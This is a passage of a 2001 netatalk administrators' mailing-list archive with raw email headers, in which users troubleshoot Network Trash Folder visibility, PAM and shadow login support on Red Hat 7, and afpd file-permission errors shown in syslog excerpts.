	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 14:40:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27036
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 14:40:33 -0500 (EST)
Received: from mail.dvusd.org ([170.177.2.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA26801
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 14:40:26 -0500 (EST)
Received: from GWPrimary-Message_Server by mail.dvusd.org
	with Novell_GroupWise; Thu, 08 Mar 2001 12:40:31 -0700
Message-Id: <saa77dbf.000@mail.dvusd.org>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 08 Mar 2001 12:40:19 -0700
From: "Jason Davis" <jdavis@dh.dvusd.org>
To: <netatalk-admins@umich.edu>
Subject: Re: Users seeing the Network Trash Folder
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA29367

I had this problem, I just logged in as the owner and used RedEdit to make the folder invisible.

>>> Christoph Sold <so@server.i-clue.de> - 3/8/2001 12:34 PM >>>


Nikolas Hagelstein schrieb:
> 
> Hi,
> 
> > Funny that he should mention that - I've just noticed that happening
> > recently on occasion on a 1.4b2+asun2.1.3 box - 8.6 and 9.1 clients.
> 
> I wonder how netatalk hides the "Network Trash Folder" this can't IMHO not
> be done
> via unixside filepermissions...shouldn't netatalk hide it during serving the
> directorylisting ?

No, the clients hide the network trash folders if the permissions are
set up the right way. (In fact, the client shows the content of the
network trash folder as content of its own trashcan). Should happen
automatically, anyway.

HTH
-Christoph Sold



From netatalk.administrators-errors@umich.edu  Thu Mar  8 15:34:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00944
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 15:34:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28122
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 15:34:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA28088
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 15:34:22 -0500 (EST)
Received: from dante.kinkaid.org (dante.kinkaid.org [207.80.142.250])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA28038
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 15:34:20 -0500 (EST)
Received: from [172.16.70.70] (cmorillo.kinkaid.org [172.16.70.70])
	by dante.kinkaid.org (8.10.2/8.10.2) with ESMTP id f28KYH703886;
	Thu, 8 Mar 2001 14:34:20 -0600
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Thu, 08 Mar 2001 14:34:17 -0600
Subject: Re: Quick Question
From: C <cmorillo@kinkaid.org>
To: <Steve_Kreuzer@condenast.com>, <netatalk-admins@umich.edu>
Message-ID: <B6CD48E9.509F%cmorillo@kinkaid.org>
In-Reply-To: <85256A09.00559EE0.00@Beethoven.condenast.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 3/8/01 9:34 AM, Steve_Kreuzer@condenast.com at
Steve_Kreuzer@condenast.com wrote:

> 
> 
> I have Red Hat 7.0 running and recently downloaded the 1.5pre4 RPM and it
> install without a problem, however, only guests can log in.. The FAQ states
> that
> this is because netatalk needs to be compiled with shadow support.. Is there
> any
> way I can get shadow support with the RPM?
> 
> -Steve
> 
> 
Probably not. But don't let that discourage you from downloading the
*source* RPM and recompiling it yourself. The INSTALL document gives plenty
of instruction on how to compile, and the "configure" script should do a
decent job of setting all the compile variables for you - including the PAM
and shadow support.

http://ftp1.sourceforge.net/netatalk/netatalk-1.5pre5-1.src.rpm


-- 
C.


From netatalk.administrators-errors@umich.edu  Thu Mar  8 15:51:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01377
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 15:51:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26343
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 15:51:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26334
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 15:51:33 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA26227
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 15:51:30 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id HAA13697;
	Fri, 9 Mar 2001 07:51:25 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3AA7F152.1B289C0E@arts.usyd.edu.au>
Date: Fri, 09 Mar 2001 07:53:38 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Steve_Kreuzer@condenast.com
CC: netatalk-admins@umich.edu
Subject: Re: Quick Question
References: <85256A09.00559EE0.00@Beethoven.condenast.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms3DF9B01EC755FEB0C287D6ED"

This is a cryptographically signed message in MIME format.

--------------ms3DF9B01EC755FEB0C287D6ED
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve_Kreuzer@condenast.com wrote:
> 
> I have Red Hat 7.0 running and recently downloaded the 1.5pre4 RPM and it
> install without a problem, however, only guests can log in.. The FAQ states that
> this is because netatalk needs to be compiled with shadow support.. Is there any
> way I can get shadow support with the RPM?
> 

 Do NOT compile in shadow support for RedHat 7. It will not work, as
/etc/shadow has MD5 password hashes instead of the traditional 'crypt'
hash.
 NetAtalk needs to use PAM on a RedHat box (and any other PAM enabled
distribution).

 More likely you have a NetAtalk UAM or PAM config problem.


 I have found with RH7 that the users Unix passwords HAVE to be less
than 8 characters, the standard Appleshare pasword lenght. The MD5
password hash is signficant to ALL characters of a password unlike the
old crypt system that ignored any thing after 8 characters. So users
with longer passwords can't login as they can't type it all in.

 I think the problem exists with DHX as well, as something still expects
to need only 8 characters of the password...
--------------ms3DF9B01EC755FEB0C287D6ED
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMzA4MjA1MzQyWjAjBgkq
hkiG9w0BCQQxFgQUT7HdbMdXNR/xe11WndMUmMp48I8wOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYCjj3GOHRjs5vQazL6xEeGVtCT0BFKRPCbAnTkHIITtkkFCHG7+hMLEuRCfaH57IbeW/41f
mqM9Vgf7tMFbpgxmC1QxyXWpWUqoV9P5m0hwJvnpUgUvJRhkU3FD9dSeDKOnXTWCMTZ7RKpr
BOumWjWa0sxEaIdmDaLmfBcgoTYv8Q==
--------------ms3DF9B01EC755FEB0C287D6ED--


From netatalk.administrators-errors@umich.edu  Thu Mar  8 16:01:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01683
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 16:01:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA05535
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 16:01:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA05505
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 16:01:20 -0500 (EST)
Received: from syncopation-01.iinet.net.au (syncopation-01.iinet.net.au [203.59.24.37])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA05327
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 16:01:14 -0500 (EST)
Received: (qmail 3065 invoked by uid 666); 8 Mar 2001 21:11:33 -0000
Received: from opera.iinet.net.au (HELO wskatinka) (203.59.24.144)
  by 0 with SMTP; 8 Mar 2001 21:11:33 -0000
Message-ID: <016701c0a811$e46f8c80$fe00a8c0@kat.lan>
From: "Kathy Quinlan" <katinka@magestower.com>
To: "Jason Quigley" <jasonq@mac.com>, <netatalk-admins@umich.edu>
References: <B6CD061A.438B%jasonq@mac.com>
Subject: Re: netatalk
Date: Fri, 9 Mar 2001 04:53:55 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

THANK YOU Jason :o))) <WEG>


Now my Macs can save their not often used files to a central point (an PC
users can access too)

Now I can play with Printing :o)

Regards, Kat.

----- Original Message -----
From: "Jason Quigley" <jasonq@mac.com>
To: "Kathy Quinlan" <katinka@magestower.com>; <netatalk-admins@umich.edu>
Sent: Thursday, March 08, 2001 4:49 PM
Subject: Re: netatalk


> Hi Kathy!
>
> You need to create an entry in AppleVolumes.default pointing directly into
> /temp like this:
>
> /temp "PC Drive"
>
> Netatalk is picking up the volume size from the mount point.
>
> Cheers,
> Jason.
>
> On 8/3/01 8:04, "Kathy Quinlan" wrote:
>
> > Hi all I am running netatalk on a FreeBSD server 4.1.1
> >
> > I have one mac on the network, it connects to the users home directory
which
> > has a shared directory.
> >
> > the Temp directory is a mount point for a windows drive.
> >
> > The FreeBSD server's /usr dir has 15.6Mb free
> > The windows machine has 9Gb free
> >
> > from the mac I can see the windows dir (as the Temp mount point) but it
> > shows the free space as 15.6Mb not the 9Gb.
> >
> > I have tried making the mount point a (Temp) a sharity-light mount, and
also
> > as a symbolic link to a root mount (the root mount again is
sharity-light
> > mounted) but it still reports the size incorrectly.
> >
> > if I do a df on the FreeBSD server, it shows the mount as having 9Gb
free.
> >
> > Any ideas ????
> >
> >
> > Regards
> >
> > Kat.
> >
> >
>


From netatalk.administrators-errors@umich.edu  Thu Mar  8 16:27:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA02612
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 16:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12485
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 16:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12460
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 16:27:27 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA12404
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 16:27:26 -0500 (EST)
Received: (qmail 15218 invoked by uid 500); 8 Mar 2001 21:27:18 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 8 Mar 2001 21:27:18 -0000
Date: Thu, 8 Mar 2001 15:27:18 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Pre5 and RH 7
Message-ID: <Pine.LNX.4.30.0103081523250.14878-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I just installed the RPM Pre5 on my RH 7 box and specifying only DHX in
the netatalk.conf file does not allow me to copy files properly. It claims
there is a permission problem. I believe this bug was present in Pre 4 as
well.

Logs:

Mar  8 15:24:17 itchy afpd[2591]: ASIP session:548(1) from 144.92.19.76:49272(2)
Mar  8 15:24:17 itchy afpd[2591]: dhx login: usrdel
Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Success -- Function not implemented
Mar  8 15:24:17 itchy PAM_pwdb[2591]: (netatalk) session opened for user usrdel by (uid=0)
Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) -- Inappropriate ioctl for device
Mar  8 15:24:17 itchy afpd[2591]: login usrdel (uid 500, gid 500)
Mar  8 15:24:19 itchy afpd[2591]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted



What's line 5 all about!? ioctl...

Anyone else experiencing this?

-Dan


From netatalk.administrators-errors@umich.edu  Thu Mar  8 17:02:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 17:02:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 17:02:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25161
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 17:02:17 -0500 (EST)
Received: from boson.linvision.com (boson.linvision.com [194.151.176.146])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA25097
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 17:02:14 -0500 (EST)
From: g.roest@linvision.com
Received: from alpha01.linvision.intern (users2.linvision.com [194.151.176.145])
	by boson.linvision.com (8.9.3/8.9.3) with ESMTP id XAA24057;
	Thu, 8 Mar 2001 23:02:18 +0100
Subject: Re: Pre5 and RH 7
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OF7F420A28.10A5DBE2-ONC1256A09.00777438@linvision.intern>
Date: Thu, 8 Mar 2001 23:02:07 +0100
X-MIMETrack: Serialize by Router on alpha01/bvit(Release 5.0.3 (Intl)|21 March 2000) at
 08/03/2001 11:02:17 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii


Hi,

I too experienced this line with RH7 (2.4.2) and Pre4:

In my Appleshare.system I have the line:
/home/data "Data schijf"

In my apfd.conf I have the line:
"Data schijf" -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so
-loginmesg "Welkom op de ZoW Data schijf."

When I didn't have the "uams_clrtxt.so,uams_dhx.so" in the apfd.conf I got
messages like:

Mar  8 10:50:08 dakota afpd[10473]: session from 65280.128:245 on
65280.148:131
Mar  8 10:50:08 dakota afpd[10473]: cleartext login: gerard
Mar  8 10:50:08 dakota PAM_pwdb[10473]: (netatalk) session opened for user
gerard by (uid=0)
Mar  8 10:50:08 dakota afpd[10473]: login gerard (uid 503, gid 100)
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1
.AppleDouble: Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1 .:
Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1
.AppleDouble: Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown 16777216/-1 .:
Operation not permitted
Mar  8 10:51:06 dakota afpd[10473]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Mar  8 10:55:00 dakota CROND[10477]: (root) CMD (/etc/ppp/ipadresupload)
Mar  8 10:58:29 dakota PAM_pwdb[10473]: (netatalk) session closed for user
gerard
Mar  8 10:58:29 dakota afpd[10473]: 2.78KB read, 5.18KB written
Mar  8 10:58:29 dakota afpd[10473]: done
Mar  8 10:58:29 dakota afpd[10429]: server_child[0] 10473 done

I'm not sure, (I'm just a starting netatalk user) but does this not look
like gerard could login? Anyway, after logging in he tried to put a file in
the share, and then the messages of "Operation not permitted" came. After I
put the "uams_clrtxt.so,uams_dhx.so" in the apfd.conf and 'pwunconv"-ing
the passwd file I only got messages like:

Mar  8 14:18:18 dakota afpd[12249]: session from 65280.128:245 on
65280.148:131
Mar  8 14:18:18 dakota afpd[12249]: cleartext login: gerard
Mar  8 14:18:18 dakota PAM_pwdb[12249]: (netatalk) session opened for user
gerard by (uid=0)
Mar  8 14:18:18 dakota afpd[12249]: login gerard (uid 503, gid 100)
Mar  8 14:18:49 dakota PAM_pwdb[12249]: (netatalk) session closed for user
gerard
Mar  8 14:18:49 dakota afpd[12249]: 2.36KB read, 5.18KB written
Mar  8 14:18:49 dakota afpd[12249]: done
Mar  8 14:18:49 dakota afpd[10429]: server_child[0] 12249 done

During this log he tried to put a file in the share, but the end result was
the same: it was not possible to do so. The file appeared to be there but
its size was 0, just like previous example.

greetings,

Gerben Roest.

---
Linvision BV               tel: 015-7502310
Elektronicaweg 16 d          fax: 015-7502319
2628 XG Delft             g.roest@linvision.com
The Netherlands         www.linvision.com


                                                                                                                
                    "Daniel E.                                                                                  
                    Lautenschleger"        To:     Netatalk Mailing List <netatalk-admins@umich.edu>            
                    <dan@www.molbio        cc:                                                                  
                    .wisc.edu>             Subject:     Pre5 and RH 7                                           
                                                                                                                
                    08-03-2001                                                                                  
                    22:27                                                                                       
                                                                                                                
                                                                                                                




I just installed the RPM Pre5 on my RH 7 box and specifying only DHX in
the netatalk.conf file does not allow me to copy files properly. It claims
there is a permission problem. I believe this bug was present in Pre 4 as
well.

Logs:

Mar  8 15:24:17 itchy afpd[2591]: ASIP session:548(1) from
144.92.19.76:49272(2)
Mar  8 15:24:17 itchy afpd[2591]: dhx login: usrdel
Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Success --
Function not implemented
Mar  8 15:24:17 itchy PAM_pwdb[2591]: (netatalk) session opened for user
usrdel by (uid=0)
Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null)
-- Inappropriate ioctl for device
Mar  8 15:24:17 itchy afpd[2591]: login usrdel (uid 500, gid 500)
Mar  8 15:24:19 itchy afpd[2591]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted



What's line 5 all about!? ioctl...

Anyone else experiencing this?

-Dan





From netatalk.administrators-errors@umich.edu  Thu Mar  8 17:39:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04338
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 17:39:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01340
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 17:39:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01334
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 17:39:25 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01297
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 17:39:23 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f28MdOV16976;
	Thu, 8 Mar 2001 14:39:24 -0800 (PST)
Date: Thu, 8 Mar 2001 14:39:24 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Pre5 and RH 7
In-Reply-To: <Pine.LNX.4.30.0103081523250.14878-100000@www.molbio.wisc.edu>
Message-ID: <Pine.GSO.4.21.0103081431230.10248-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I've been helping a fellow developer with adding better logging to the
PAMs and it looks like this is a case of "overlogging."  I suggested that
he put a %m in his syslog statements.  That puts the last system message
in the log.  I think it was simply unnecessary this time.  Clearly that
login was a success.  PAM usually goes through a series of things to
determine if someone is authorized to log in.  Perhaps one authentication
method failed and that's what the ioctl message is all about.

As for your permissions problem,... I'm not sure.  If you have write and
execute permission set on both the directory and its .AppleDouble
subdirectory, it should have no trouble with moving the file.  .Parent
usually contains resource information for the directory itself (can't
remember if the directory icon is part of that or not).

On Thu, 8 Mar 2001, Daniel E. Lautenschleger wrote:

> I just installed the RPM Pre5 on my RH 7 box and specifying only DHX in
> the netatalk.conf file does not allow me to copy files properly. It claims
> there is a permission problem. I believe this bug was present in Pre 4 as
> well.
> 
> Logs:
> 
> Mar  8 15:24:17 itchy afpd[2591]: ASIP session:548(1) from 144.92.19.76:49272(2)
> Mar  8 15:24:17 itchy afpd[2591]: dhx login: usrdel
> Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Success -- Function not implemented
> Mar  8 15:24:17 itchy PAM_pwdb[2591]: (netatalk) session opened for user usrdel by (uid=0)
> Mar  8 15:24:17 itchy afpd[2591]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) -- Inappropriate ioctl for device
> Mar  8 15:24:17 itchy afpd[2591]: login usrdel (uid 500, gid 500)
> Mar  8 15:24:19 itchy afpd[2591]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
> 
> 
> 
> What's line 5 all about!? ioctl...
> 
> Anyone else experiencing this?
> 
> -Dan
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Thu Mar  8 19:09:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA06120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 19:09:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA19054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 19:09:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA19044
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 19:09:00 -0500 (EST)
